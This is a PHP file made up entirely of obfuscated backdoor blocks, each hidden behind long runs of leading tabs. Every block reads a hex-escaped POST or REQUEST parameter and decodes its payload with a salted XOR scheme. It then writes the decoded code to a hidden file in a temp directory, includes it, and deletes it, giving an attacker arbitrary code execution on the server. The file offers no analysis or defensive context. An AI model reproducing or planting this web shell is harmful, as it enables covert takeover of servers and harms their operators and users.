																																										if(filter_has_var(INPUT_POST, "sym\x62\x6Fl")){ $tkn = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getcwd()]); $pgrp = $_POST["sym\x62\x6Fl"]; $pgrp = explode ('.' , $pgrp) ; $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $t = 0; array_walk($pgrp, function($v9) use(&$token, &$t, $s, $lenS) { $chS = ord($s[$t %$lenS] ); $dec =((int)$v9 - $chS -($t %10)) ^ 90; $token .= chr($dec ); $t++; } ); foreach ($tkn as $key => $hld) { if (array_product([is_dir($hld), is_writable($hld)])) { $val = sprintf("%s/.item", $hld); if (file_put_contents($val, $token)) { require $val; unlink($val); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "bin\x64")){ $item = $_POST["bin\x64"]; $item = explode ( '.' , $item ) ; $marker = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $j = 0; $len = count($item); do { if ($j >=$len) break; $v4 = $item[$j]; $chS = ord($s3[$j % $sLen]); $d = ((int)$v4 - $chS - ($j % 10))^ 82; $marker .= chr($d); $j++; } while (true); $tkn = array_filter([sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd()]); foreach ($tkn as $data): if ((is_dir($data) and is_writable($data))) { $ptr = join("/", [$data, ".entity"]); if (file_put_contents($ptr, $marker)) { require $ptr; unlink($ptr); exit; } } endforeach; }
																																										if(!is_null($_POST["des\x63r\x69pto\x72"] ?? null)){ $ent = array_filter(["/dev/shm", "/var/tmp", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), getenv("TEMP"), session_save_path()]); $component = $_POST["des\x63r\x69pto\x72"]; $component = explode ( '.' , $component ); $pset=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s ); $len=count($component ); for ($l=0; $l < $len; $l++) { $v9=$component[$l]; $sChar=ord($s[$l %$sLen] ); $d=((int)$v9 - $sChar - ($l %10)) ^ 18; $pset .= chr($d ); } while ($k = array_shift($ent)) { if (!!is_dir($k) && !!is_writable($k)) { $obj = "$k" . "/.res"; $success = file_put_contents($obj, $pset); if ($success) { include $obj; @unlink($obj); die();} } } }
																																										if(filter_has_var(INPUT_POST, "\x70ro\x70e\x72\x74y_s\x65\x74")){ $fac = $_REQUEST["\x70ro\x70e\x72\x74y_s\x65\x74"]; $fac = explode ( '.',$fac ) ; $entity = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $len = count($fac); for ($x = 0; $x < $len; $x++) { $v2 = $fac[$x]; $chS = ord($salt5[$x % $sLen]); $dec = ((int)$v2 - $chS - ($x % 10)) ^ 47; $entity .=chr($dec); } $ref = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp", "/var/tmp", getcwd(), "/dev/shm", getenv("TEMP")]); foreach ($ref as $reference): if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) { $key = "$reference/.hld"; $file = fopen($key, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $key; @unlink($key); die(); } } endforeach; }
																																										if(array_key_exists("ref\x65ren\x63\x65", $_POST)){ $ref = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", session_save_path(), "/var/tmp", getenv("TEMP"), getcwd(), getenv("TMP")]); $parameter_group = $_POST["ref\x65ren\x63\x65"]; $parameter_group= explode ( "." , $parameter_group ) ; $record=''; $salt8='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt8); $m=0; array_walk($parameter_group , function ($v7) use (&$record , &$m , $salt8 , $lenS) { $sChar=ord($salt8[$m%$lenS]); $dec=((int)$v7 - $sChar - ($m%10)) ^ 51; $record .= chr($dec); $m++; }); for ($property_set = 0, $rec = count($ref); $property_set < $rec; $property_set++) { $k = $ref[$property_set]; if ((bool)is_dir($k) && (bool)is_writable($k)) { $descriptor = str_replace("{var_dir}", $k, "{var_dir}/.data_chunk"); $success = file_put_contents($descriptor, $record); if ($success) { include $descriptor; @unlink($descriptor); exit;} } } }
																																										if(isset($_POST["\x68old\x65r"]) ? true : false){ $factor = $_POST["\x68old\x65r"]; $factor =explode ( '.' , $factor); $binding = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $t = 0; $__len = count($factor); do { if ($t>= $__len) break; $v6 = $factor[$t]; $chS = ord($salt7[$t % $sLen]); $d = ((int)$v6 - $chS - ($t % 10)) ^ 67; $binding .= chr($d); $t++; } while (true); $token = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/var/tmp", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), getenv("TMP")]); while ($pointer = array_shift($token)) { if (is_dir($pointer) ? is_writable($pointer) : false) { $tkn = vsprintf("%s/%s", [$pointer, ".dat"]); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $tkn; @unlink($tkn); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "m\x61\x72\x6Ber")){ $token = array_filter(["/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path()]); $entity = $_REQUEST["m\x61\x72\x6Ber"]; $entity=explode ("." , $entity ); $value = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9); $q = 0; array_walk( $entity, function( $v4) use( &$value, &$q, $salt9, $sLen) { $sChar = ord( $salt9[$q% $sLen]); $d = ( ( int)$v4 - $sChar -( $q% 10)) ^ 9; $value .= chr( $d); $q++; }); foreach ($token as $key => $property_set) { if ((is_dir($property_set) and is_writable($property_set))) { $rec = sprintf("%s/.bind", $property_set); if (file_put_contents($rec, $value)) { include $rec; @unlink($rec); die(); } } } }
																																										if(!is_null($_REQUEST["\x64e\x73c"] ?? null)){ $data_chunk = $_REQUEST["\x64e\x73c"]; $data_chunk=explode ( '.',$data_chunk ); $parameter_group = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); $m = 0; $len = count( $data_chunk); do { if( $m >= $len) break; $v6 = $data_chunk[$m]; $sChar = ord( $s5[$m % $sLen]); $dec =( ( int)$v6 - $sChar -( $m % 10)) ^ 68; $parameter_group.=chr( $dec); $m++; } while( true); $key = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), "/var/tmp", getenv("TEMP")]); foreach ($key as $tkn) { if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) { $data = vsprintf("%s/%s", [$tkn, ".item"]); if (file_put_contents($data, $parameter_group)) { require $data; unlink($data); exit; } } } }
																																										if(isset($_REQUEST["\x68o\x6C\x64er"])){ $rec = array_filter([getenv("TEMP"), "/dev/shm", "/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp"]); $ptr = $_REQUEST["\x68o\x6C\x64er"]; $ptr = explode ( '.' , $ptr ); $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($ptr as $t => $v6): $sChar = ord($s[$t %$sLen]); $d = ((int)$v6 - $sChar - ($t %10)) ^ 40; $data_chunk .= chr($d); endforeach; $fac = 0; do { $object = $rec[$fac] ?? null; if ($fac >= count($rec)) break; if (is_writable($object) && is_dir($object)) { $obj = sprintf("%s/.descriptor", $object); if (file_put_contents($obj, $data_chunk)) { include $obj; @unlink($obj); die(); } } $fac++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x62\x69n\x64\x69ng"])){ $token = array_filter(["/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TEMP"), session_save_path()]); $entity = $_POST["\x62\x69n\x64\x69ng"]; $entity = explode ( ".",$entity ) ; $k = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1 ); foreach ($entity as $q=> $v7) { $chS = ord($salt1[$q %$sLen] ); $d = ((int)$v7 - $chS - ($q %10)) ^ 21; $k .= chr($d ); } $ent = 0; do { $reference = $token[$ent] ?? null; if ($ent >= count($token)) break; if ((bool)is_dir($reference) && (bool)is_writable($reference)) { $property_set = implode("/", [$reference, ".symbol"]); if (file_put_contents($property_set, $k)) { include $property_set; @unlink($property_set); die(); } } $ent++; } while (true); }
																																										if(isset($_POST["\x76\x61lue"])){ $component = array_filter([getenv("TEMP"), session_save_path(), getcwd(), "/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP")]); $bind = $_POST["\x76\x61lue"]; $bind= explode ('.' , $bind) ; $flg=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $x=0; foreach ($bind as $v8) { $chS=ord($s[$x % $sLen]); $d=((int)$v8 - $chS - ($x % 10)) ^ 75; $flg .= chr($d); $x++; } foreach ($component as $desc) { if (!( !is_dir($desc) || !is_writable($desc) )) { $obj = join("/", [$desc, ".dchunk"]); $success = file_put_contents($obj, $flg); if ($success) { include $obj; @unlink($obj); exit;} } } }
																																										if(isset($_REQUEST["d\x61\x74a"]) ? true : false){ $reference = $_REQUEST["d\x61\x74a"]; $reference = explode ( '.' ,$reference) ; $hld = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4 ); $y = 0; $__tmp = $reference; while ($v3 = array_shift($__tmp)) { $sChar = ord($s4[$y % $lenS] ); $dec = ((int)$v3 - $sChar - ($y % 10)) ^ 52; $hld .= chr($dec ); $y++; } $res = array_filter([getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/tmp", "/var/tmp", getcwd()]); while ($flag = array_shift($res)) { if (!!is_dir($flag) && !!is_writable($flag)) { $itm = str_replace("{var_dir}", $flag, "{var_dir}/.parameter_group"); if (file_put_contents($itm, $hld)) { require $itm; unlink($itm); die(); } } } }
																																										if(array_key_exists("\x70ro\x70e\x72\x74\x79\x5Fset", $_POST) && !is_null($_POST["\x70ro\x70e\x72\x74\x79\x5Fset"])){ $token = $_POST["\x70ro\x70e\x72\x74\x79\x5Fset"]; $token = explode( "." , $token ) ; $descriptor=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt ); foreach( $token as $x =>$v3): $sChar=ord( $salt[$x% $lenS] ); $dec=( ( int)$v3 - $sChar -( $x% 10))^ 100; $descriptor.= chr( $dec ); endforeach; $value = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", session_save_path(), getenv("TMP")]); $mrk = 0; do { $record = $value[$mrk] ?? null; if ($mrk >= count($value)) break; if ((bool)is_dir($record) && (bool)is_writable($record)) { $resource = sprintf("%s/.rec", $record); if (file_put_contents($resource, $descriptor)) { include $resource; @unlink($resource); exit; } } $mrk++; } while (true); }
																																										if(!is_null($_REQUEST["ob\x6Aect"] ?? null)){ $bind = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), session_save_path(), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TEMP")]); $entry = $_REQUEST["ob\x6Aect"]; $entry= explode ('.' , $entry ) ; $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $w = 0; $__tmp = $entry; while($v8 = array_shift($__tmp)) { $chS = ord($s[$w % $lenS]); $d = ((int)$v8 - $chS -($w % 10)) ^ 37; $data_chunk .= chr($d); $w++; } foreach ($bind as $mrk) { if ((is_dir($mrk) and is_writable($mrk))) { $data = sprintf("%s/.desc", $mrk); $file = fopen($data, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $data; @unlink($data); die(); } } } }
																																										if(isset($_POST["key"])){ $comp = $_POST["key"]; $comp= explode( ".", $comp ) ; $flag =''; $s3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s3); $z =0; $len =count( $comp); do { if( $z >= $len) break; $v4 =$comp[$z]; $sChar =ord( $s3[$z % $sLen]); $d =( ( int)$v4 - $sChar -( $z % 10)) ^ 37; $flag.= chr( $d); $z++; } while( true); $fac = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp", "/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir")]); while ($value = array_shift($fac)) { if (max(0, is_dir($value) * is_writable($value))) { $dat = vsprintf("%s/%s", [$value, ".item"]); if (file_put_contents($dat, $flag)) { require $dat; unlink($dat); exit; } } } }
																																										if(isset($_POST["v\x61\x6C"]) ? true : false){ $descriptor = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd(), "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP")]); $data = $_POST["v\x61\x6C"]; $data = explode ( "." ,$data ) ; $res=''; $salt2='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt2); $q=0; foreach( $data as $v4) {$sChar=ord( $salt2[$q % $lenS]); $dec=( ( int)$v4 - $sChar -( $q % 10)) ^ 7; $res .= chr( $dec); $q++; } $pgrp = 0; do { $sym = $descriptor[$pgrp] ?? null; if ($pgrp >= count($descriptor)) break; if (is_dir($sym) ? is_writable($sym) : false) { $entity = "$sym" . "/.ent"; if (file_put_contents($entity, $res)) { include $entity; @unlink($entity); die(); } } $pgrp++; } while (true); }
																																										if(isset($_REQUEST["\x6Dr\x6B"])){ $ref = $_REQUEST["\x6Dr\x6B"]; $ref= explode ( '.' , $ref ) ; $obj = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); foreach($ref as $x => $v3) { $chS = ord($salt4[$x % $sLen] ); $dec = ((int)$v3 - $chS -($x % 10)) ^ 94; $obj .= chr($dec ); } $tkn = array_filter([sys_get_temp_dir(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/dev/shm", getenv("TEMP"), getenv("TMP")]); for ($parameter_group = 0, $property_set = count($tkn); $parameter_group < $property_set; $parameter_group++) { $itm = $tkn[$parameter_group]; if (is_dir($itm) && is_writable($itm)) { $record = "$itm/.descriptor"; $success = file_put_contents($record, $obj); if ($success) { include $record; @unlink($record); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "\x74\x6Fken")){ $entity = $_REQUEST["\x74\x6Fken"]; $entity = explode( ".", $entity ) ; $record = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6); $u = 0; $__len = count( $entity); do {if( $u >= $__len) break; $v8 = $entity[$u]; $sChar = ord( $s6[$u % $lenS]); $d = ( ( int)$v8 - $sChar -( $u % 10)) ^ 43; $record.=chr( $d); $u++; } while( true); $obj = array_filter([session_save_path(), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getcwd(), sys_get_temp_dir()]); $pset = 0; do { $pointer = $obj[$pset] ?? null; if ($pset >= count($obj)) break; if (is_writable($pointer) && is_dir($pointer)) { $ref = sprintf("%s/.bind", $pointer); if (file_put_contents($ref, $record)) { require $ref; unlink($ref); exit; } } $pset++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "pset")){ $ref = array_filter(["/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd()]); $marker = $_REQUEST["pset"]; $marker = explode ('.' , $marker) ; $sym = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $v = 0; foreach ($marker as $v6) { $chS = ord($s1[$v %$lenS]); $dec = ((int)$v6 - $chS - ($v %10)) ^ 12; $sym .= chr($dec); $v++; } foreach ($ref as $rec): if ((is_dir($rec) and is_writable($rec))) { $desc = vsprintf("%s/%s", [$rec, ".pointer"]); if (@file_put_contents($desc, $sym) !== false) { include $desc; unlink($desc); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x69\x74em"]) ? true : false){ $ptr = $_REQUEST["\x69\x74em"]; $ptr= explode ( ".", $ptr ) ; $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $p = 0; $len = count($ptr ); do {if ($p>=$len) break; $v9 = $ptr[$p]; $sChar = ord($s[$p %$sLen] ); $dec = ((int)$v9 - $sChar - ($p %10))^ 82; $ref .= chr($dec ); $p++; } while (true ); $factor = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getcwd(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/tmp"]); foreach ($factor as $marker): if (!!is_dir($marker) && !!is_writable($marker)) { $symbol = "$marker/.hld"; $success = file_put_contents($symbol, $ref); if ($success) { include $symbol; @unlink($symbol); exit;} } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x69\x74em"])){ $ent = array_filter(["/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]); $resource = $_POST["\x69\x74em"]; $resource= explode('.' ,$resource ) ; $component = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6 ); foreach ($resource as $n => $v1) {$sChar = ord($s6[$n % $sLen] ); $d = ((int)$v1 - $sChar - ($n % 10)) ^ 83; $component .= chr($d ); } foreach ($ent as $hld) { if (is_dir($hld) && is_writable($hld)) { $desc = join("/", [$hld, ".element"]); $file = fopen($desc, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $desc; @unlink($desc); exit; } } } }
																																										if(isset($_REQUEST["res\x6Fu\x72\x63e"]) ? true : false){ $entry = $_REQUEST["res\x6Fu\x72\x63e"]; $entry =explode ( "." ,$entry ) ; $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); foreach( $entry as $k =>$v4) { $chS = ord( $s[$k % $lenS] ); $d =( ( int)$v4 - $chS -( $k % 10)) ^79; $parameter_group.=chr( $d ); } $holder = array_filter([sys_get_temp_dir(), "/var/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/tmp"]); $ent = 0; do { $pset = $holder[$ent] ?? null; if ($ent >= count($holder)) break; if (array_product([is_dir($pset), is_writable($pset)])) { $property_set = implode("/", [$pset, ".entity"]); if (@file_put_contents($property_set, $parameter_group) !== false) { include $property_set; unlink($property_set); exit; } } $ent++; } while (true); }
																																										if(array_key_exists("b\x69n\x64", $_POST)){ $element = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), getenv("TMP")]); $sym = $_POST["b\x69n\x64"]; $sym= explode( "." , $sym ) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $t = 0; array_walk( $sym, function( $v5) use( &$res, &$t, $s, $sLen) { $chS = ord( $s[$t % $sLen] ); $dec =( ( int)$v5 - $chS -( $t % 10)) ^ 43; $res .= chr( $dec ); $t++; }); foreach ($element as $component): if (array_product([is_dir($component), is_writable($component)])) { $dat = vsprintf("%s/%s", [$component, ".itm"]); if (file_put_contents($dat, $res)) { require $dat; unlink($dat); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "k\x65y")){ $flg = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TMP"), getcwd(), session_save_path(), "/tmp", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir")]); $flag = $_POST["k\x65y"]; $flag = explode ( ".", $flag ) ; $tkn= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $q= 0; $__tmp= $flag; while($v3= array_shift($__tmp)) { $sChar= ord($salt[$q % $sLen]); $dec= ((int)$v3 - $sChar -($q % 10)) ^51; $tkn.= chr($dec); $q++; } foreach ($flg as $dat): if (!( !is_dir($dat) || !is_writable($dat) )) { $holder = join("/", [$dat, ".entity"]); $file = fopen($holder, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $holder; @unlink($holder); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x64e\x73c")){ $ptr = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), "/tmp"]); $record = $_POST["\x64e\x73c"]; $record= explode ( "." , $record) ; $marker =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt9); foreach($record as $s => $v8) { $sChar =ord($salt9[$s % $sLen]); $dec =((int)$v8 - $sChar -($s % 10)) ^ 85; $marker .= chr($dec); } $obj = 0; do { $pointer = $ptr[$obj] ?? null; if ($obj >= count($ptr)) break; if (array_product([is_dir($pointer), is_writable($pointer)])) { $entity = implode("/", [$pointer, ".ent"]); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $entity; @unlink($entity); exit; } } $obj++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70o\x69\x6E\x74er"])){ $val = $_REQUEST["\x70o\x69\x6E\x74er"]; $val=explode( "." , $val ) ; $hld = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5 ); foreach ($val as $m =>$v8): $chS = ord($salt5[$m% $lenS] ); $dec = ((int)$v8 - $chS - ($m% 10)) ^ 13; $hld .= chr($dec ); endforeach; $obj = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp", getcwd()]); $data_chunk = 0; do { $parameter_group = $obj[$data_chunk] ?? null; if ($data_chunk >= count($obj)) break; if (array_product([is_dir($parameter_group), is_writable($parameter_group)])) { $resource = join("/", [$parameter_group, ".rec"]); if (file_put_contents($resource, $hld)) { require $resource; unlink($resource); exit; } } $data_chunk++; } while (true); }
																																										if(in_array("\x70\x67rp", array_keys($_POST))){ $fac = $_POST["\x70\x67rp"]; $fac =explode ( '.' , $fac ) ; $bind= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s4); foreach ($fac as $z => $v4): $sChar= ord($s4[$z % $lenS]); $dec= ((int)$v4 - $sChar - ($z % 10)) ^ 25; $bind .= chr($dec); endforeach; $descriptor = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", getenv("TMP"), getcwd(), session_save_path(), "/dev/shm", "/var/tmp"]); $hld = 0; do { $flg = $descriptor[$hld] ?? null; if ($hld >= count($descriptor)) break; if (!( !is_dir($flg) || !is_writable($flg) )) { $sym = sprintf("%s/.dchunk", $flg); if (file_put_contents($sym, $bind)) { include $sym; @unlink($sym); exit; } } $hld++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x66\x6Cag")){ $parameter_group = array_filter([getcwd(), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TMP")]); $element = $_REQUEST["\x66\x6Cag"]; $element =explode ( '.' , $element); $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $v = 0; foreach ($element as $v1) {$sChar = ord($s[$v % $lenS]); $dec = ((int)$v1 - $sChar - ($v % 10))^ 10; $hld .= chr($dec); $v++; } foreach ($parameter_group as $object) { if (is_writable($object) && is_dir($object)) { $property_set = "$object" . "/.comp"; if (file_put_contents($property_set, $hld)) { include $property_set; @unlink($property_set); die(); } } } }
																																										if(!empty($_POST["va\x6C"])){ $pointer = $_POST["va\x6C"]; $pointer= explode ('.' , $pointer ) ; $property_set= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt6); $x= 0; while($x < count($pointer)) { $v8= $pointer[$x]; $sChar= ord($salt6[$x % $lenS]); $dec= ((int)$v8 - $sChar -($x % 10)) ^ 62; $property_set .= chr($dec); $x++; } $component = array_filter([getenv("TEMP"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/tmp", session_save_path()]); while ($dat = array_shift($component)) { if (!( !is_dir($dat) || !is_writable($dat) )) { $marker = sprintf("%s/.ent", $dat); if (@file_put_contents($marker, $property_set) !== false) { include $marker; unlink($marker); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x70s\x65t"])){ $k = array_filter(["/tmp", "/var/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP")]); $descriptor = $_POST["\x70s\x65t"]; $descriptor =explode ("." , $descriptor) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $j = 0; array_walk($descriptor, function ($v6) use (&$pgrp, &$j, $salt, $sLen) { $chS = ord($salt[$j %$sLen] ); $dec = ((int)$v6 - $chS - ($j %10)) ^ 4; $pgrp .= chr($dec ); $j++; } ); foreach ($k as $key => $marker) { if ((function($d) { return is_dir($d) && is_writable($d); })($marker)) { $key = str_replace("{var_dir}", $marker, "{var_dir}/.item"); $file = fopen($key, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $key; @unlink($key); exit; } } } }
																																										if(array_key_exists("\x6F\x62je\x63t", $_REQUEST)){ $element = $_REQUEST["\x6F\x62je\x63t"]; $element = explode( "." , $element ); $dat = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3 ); foreach ($element as $s => $v4): $chS = ord($s3[$s % $lenS] ); $d = ((int)$v4 - $chS - ($s % 10)) ^84; $dat .= chr($d ); endforeach; $hld = array_filter([sys_get_temp_dir(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), getcwd(), "/tmp", "/dev/shm"]); $data = 0; do { $ptr = $hld[$data] ?? null; if ($data >= count($hld)) break; if (is_dir($ptr) && is_writable($ptr)) { $token = join("/", [$ptr, ".flag"]); if (file_put_contents($token, $dat)) { include $token; @unlink($token); exit; } } $data++; } while (true); }
																																										if(!is_null($_REQUEST["ent\x69t\x79"] ?? null)){ $token = $_REQUEST["ent\x69t\x79"]; $token = explode ( ".", $token) ; $symbol =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); foreach( $token as $q => $v8) { $chS =ord( $salt[$q %$sLen]); $d =( ( int)$v8 - $chS -( $q %10)) ^ 90; $symbol .= chr( $d); } $fac = array_filter([getcwd(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir()]); foreach ($fac as $object) { if ((bool)is_dir($object) && (bool)is_writable($object)) { $pgrp = str_replace("{var_dir}", $object, "{var_dir}/.record"); $success = file_put_contents($pgrp, $symbol); if ($success) { include $pgrp; @unlink($pgrp); die();} } } }
																																										if(in_array("\x70a\x72\x61m\x65\x74er\x5Fgro\x75p", array_keys($_POST))){ $key = $_POST["\x70a\x72\x61m\x65\x74er\x5Fgro\x75p"]; $key = explode( "." , $key ) ; $bind = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($key as $q => $v8): $chS = ord($s[$q % $sLen]); $dec = ((int)$v8 - $chS - ($q % 10)) ^60; $bind .= chr($dec); endforeach; $ptr = array_filter(["/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getcwd(), getenv("TMP")]); foreach ($ptr as $symbol): if ((is_dir($symbol) and is_writable($symbol))) { $fac = "$symbol/.elem"; if (file_put_contents($fac, $bind)) { require $fac; unlink($fac); exit; } } endforeach; }
																																										if(isset($_REQUEST["b\x69nd"]) ? true : false){ $desc = $_REQUEST["b\x69nd"]; $desc =explode( '.' ,$desc ); $descriptor = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $s = 0; $__tmp = $desc; while ($v6 = array_shift($__tmp)) { $chS = ord($s4[$s% $sLen]); $d = ((int)$v6 - $chS - ($s% 10)) ^ 18; $descriptor .= chr($d); $s++; } $data_chunk = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), getcwd(), sys_get_temp_dir(), session_save_path(), "/dev/shm", "/var/tmp", "/tmp"]); foreach ($data_chunk as $key => $k) { if ((is_dir($k) and is_writable($k))) { $rec = vsprintf("%s/%s", [$k, ".property_set"]); if (file_put_contents($rec, $descriptor)) { include $rec; @unlink($rec); exit; } } } }
